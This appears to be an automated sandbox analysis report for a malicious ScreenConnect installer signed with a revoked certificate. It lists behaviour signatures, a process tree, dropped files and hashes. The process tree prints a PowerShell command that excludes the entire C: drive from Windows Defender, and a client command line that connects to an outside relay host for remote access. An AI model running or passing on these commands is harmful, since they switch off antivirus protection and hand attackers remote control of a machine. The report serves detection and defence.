Analysis

  • max time kernel
    149s
  • max time network
    117s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    17/08/2026, 04:16

General

  • Target
    ScreenConnect.ClientSetup.exe
  • Size 12.8MB
  • Sample260817-ev2bqahd77
  • SHA256 ff3dce7ce26df71fc71a13ca763e02490914fd99d0b63c54aa0f30009b9acbab
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 16 IoCs
  • Drops file in Windows directory 22 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.exe
    "C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:916
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.4.25.9314\b7ac730cbbab979f\ScreenConnect.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:2280
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:420
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding F926A9ECD280F15BDDBCC645E7902EF4 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1992
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI4C80.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240733437 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2152
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:4628
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding ABB70655264901ED7B6398473B156EAF
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:1588
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 2C1CE62226E5357B91F81B3CF227867A E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:4196
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:1440
    • C:\Program Files (x86)\ScreenConnect Client (b7ac730cbbab979f)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (b7ac730cbbab979f)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.meeting.supply-reflection.shop&p=8041&s=e9e8d0fb-5304-4e0f-ba15-b42d69567226&k=BgIAAACkAABSU0ExAAgAAAEAAQD1lGQlZW4KJyMlWuxfQqWrwIwp28EApq7x3gtwEVOwXF%2fgi81CcsmITZ%2bd%2fcoJ3Hb4mvjPi%2bUy6tYPfHdMGZyffgoKMZIDyUdIW7HeG0vzAYJO1YD7z84R4yH3AQEWPGmM2Yhnj8LObbAr3uHdWXoAzoGodTwLnhtm9PfzXsqMk1Z4A1H%2fvNCT%2fQf7ZzPcHLfGxWKaUwnoPX2PsFjLToHj7czYxt%2blGCqcVRLu3B3GjTcQWE1MAz3CIl4zUuFwOx%2bCBo1JDTlYlQrGIcslQ7J3hK%2bRtBuXjAzpNwxyUen5qoCUeCm3cJSmJ518O5WyxCLXFlZIhimrjqvE9upIQt64&c=letter2&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4764
      • C:\Program Files (x86)\ScreenConnect Client (b7ac730cbbab979f)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (b7ac730cbbab979f)\ScreenConnect.WindowsClient.exe" "RunRole" "d77c4805-1369-47ad-84f1-cd1bffabdb94" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:2272
      • C:\Program Files (x86)\ScreenConnect Client (b7ac730cbbab979f)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (b7ac730cbbab979f)\ScreenConnect.WindowsClient.exe" "RunRole" "7f5ae665-3406-4830-925a-fd664434f251" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:4692
      • C:\Windows\system32\cmd.exe
        "cmd.exe" /c "C:\Windows\SystemTemp\ScreenConnect\25.4.25.9313\8kajCiLeo0Sqrun.cmd"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4368
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:'"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Drops file in Windows directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:3408

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e5993ea.rbs

          • Path C:\Config.Msi\e5993ea.rbs
          • Size 213KB
          • SHA256 350497a1ec2cdbcc51f2b715332b32c139b8e2ef4e74a4f6a9888ee4aa01db81
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b7ac730cbbab979f)\Client.en-US.resources
          • Size 64KB
          • SHA256 062a4b43d45d55746c88f3f1b0e4e8e376c5577133ed8d9e94c1e3251c341fc1
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b7ac730cbbab979f)\Client.resources
          • Size 2KB
          • SHA256 4514129a17cafb2891674dd75cf25dfc3e2ac08a08f7adebeba3519f2313ac5e
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b7ac730cbbab979f)\ScreenConnect.Client.dll
          • Size 228KB
          • SHA256 9507c29ca92f850426ba5a05647214f3f6e408853a2baef97892db5f7e974a55
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b7ac730cbbab979f)\ScreenConnect.ClientService.dll
          • Size 78KB
          • SHA256 81d06d6f5c4dcca630d5001425566ab976e222082612f96dfc99078f585139ed
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (b7ac730cbbab979f)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 bc0b03a340d46c23a4a2f91ebd7ed4d0fcf92fc7c4323f522c86369ad483f68a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b7ac730cbbab979f)\ScreenConnect.Core.dll
          • Size 552KB
          • SHA256 dc3168bfff8b8bffb36f4374da4dfce8a96786a632eb6bdb666099fc0cf16a54
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b7ac730cbbab979f)\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 ff82ff2c60cebea3eb57b9d50e5ac1653009ff781d288f4b4b0c3578b2aefd30
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (b7ac730cbbab979f)\ScreenConnect.WindowsClient.exe
          • Size 599KB
          • SHA256 0fcf040e7c627085146cbe9ca77bc61d2dec0eacc500651fd2b02f76387a0c2e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b7ac730cbbab979f)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b7ac730cbbab979f)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 838KB
          • SHA256 c36e1b629985cf5379733de9c2d645446cb3333f8660bf137a46fb227ef170e4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b7ac730cbbab979f)\app.config
          • Size 508B
          • SHA256 779c074d07a35de132ade25762da935077cf6a7da2c3812cc4f432d5dad73394
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b7ac730cbbab979f)\system.config
          • Size 960B
          • SHA256 fe42214de8956bca11dd54fa4594f7c448ba36e120f1e72aec74afb9090ab888
          • MD5 SHA1 SHA512 TLSH

          MSI4C80.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI4C80.tmp
          • Size 1.0MB
          • SHA256 d61773c938a0ec464e27616d974d1723f43bdaef9b0f713baeeafe71cca2e5ee
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI4C80.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI4C80.tmp-\ScreenConnect.Core.dll
          • Size 542KB
          • SHA256 15148976d1df0b7648ff4085ef2da7c32d767be8203542234f86820c7dd7f39c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI4C80.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 a750e0ec9269c71a2a5a1591f3da199c239ebf6d84acdee857b6e878e1c52174
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI4C80.tmp-\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 cca228d4d04731a91fff3cc4a0551be447090c0e5c87dcc721ca6199bb1f26a9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.4.25.9314\b7ac730cbbab979f\ScreenConnect.ClientSetup.msi
          • Size 10.4MB
          • SHA256 f76a636278bbb855a9d5136dcdb3c0606e6b8c2d691e90bedbc079c07dacd373
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI98DC.tmp

          • Path C:\Windows\Installer\MSI98DC.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          8kajCiLeo0Sqrun.cmd

          • Path C:\Windows\SystemTemp\ScreenConnect\25.4.25.9313\8kajCiLeo0Sqrun.cmd
          • Size 58B
          • SHA256 de4103483f70fc74b7c2200d1c3324448e18154013b5605ba0bb7e02d9ee84b2
          • MD5 SHA1 SHA512 TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 33fc51c6fbc8aebdff129afa1506a7cd33400dde6b24b536f568b46f90971227
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {f32199be-f439-490a-b217-4570ad3ab36d}_OnDiskSnapshotProp

          • Path \??\Volume{cb1876cb-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{f32199be-f439-490a-b217-4570ad3ab36d}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 a44233950e0b30710d95bb2b955106e43d50361dd50a5299138cb4c65cf0f5e0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/916-4-0x0000000005840000-0x0000000005864000-memory.dmp

          memory/916-13-0x0000000075140000-0x00000000758FC000-memory.dmp

          memory/916-8-0x0000000006070000-0x000000000662A000-memory.dmp

          memory/916-6-0x0000000005900000-0x0000000005AAE000-memory.dmp

          memory/916-5-0x0000000075140000-0x00000000758FC000-memory.dmp

          memory/916-1-0x0000000005700000-0x0000000005708000-memory.dmp

          memory/916-0-0x0000000075152000-0x0000000075153000-memory.dmp

          memory/916-3-0x0000000005790000-0x000000000581E000-memory.dmp

          memory/916-9-0x0000000075140000-0x00000000758FC000-memory.dmp

          memory/916-7-0x0000000075140000-0x00000000758FC000-memory.dmp

          memory/916-2-0x0000000005720000-0x0000000005728000-memory.dmp

          memory/916-11-0x0000000075140000-0x00000000758FC000-memory.dmp

          memory/2152-40-0x0000000005870000-0x00000000058FE000-memory.dmp

          memory/2152-44-0x0000000005AB0000-0x0000000005C5E000-memory.dmp

          memory/2152-32-0x0000000003720000-0x000000000374E000-memory.dmp

          memory/2152-36-0x00000000036F0000-0x00000000036FA000-memory.dmp

          memory/2272-129-0x000000001B590000-0x000000001B73E000-memory.dmp

          memory/2272-131-0x0000000002420000-0x0000000002438000-memory.dmp

          memory/2272-130-0x000000001B8D0000-0x000000001BA58000-memory.dmp

          memory/2272-127-0x0000000002450000-0x000000000248E000-memory.dmp

          memory/2272-126-0x0000000000360000-0x00000000003FA000-memory.dmp

          memory/2272-128-0x000000001B350000-0x000000001B3DE000-memory.dmp

          memory/2272-132-0x000000001B0B0000-0x000000001B0C8000-memory.dmp

          memory/3408-143-0x0000020E9F650000-0x0000020E9F65A000-memory.dmp

          memory/3408-142-0x0000020E9F590000-0x0000020E9F642000-memory.dmp

          memory/3408-141-0x0000020E9F570000-0x0000020E9F58E000-memory.dmp

          memory/3408-136-0x0000020E9F2D0000-0x0000020E9F2F2000-memory.dmp

          memory/4764-97-0x0000000004050000-0x00000000041FE000-memory.dmp

          memory/4764-111-0x0000000004250000-0x00000000042A0000-memory.dmp

          memory/4764-93-0x0000000003DE0000-0x0000000003E6E000-memory.dmp

          memory/4764-116-0x0000000004380000-0x0000000004412000-memory.dmp

          memory/4764-87-0x0000000001710000-0x0000000001728000-memory.dmp

          memory/4764-115-0x00000000042A0000-0x00000000042DE000-memory.dmp

          memory/4764-118-0x0000000004420000-0x00000000044F5000-memory.dmp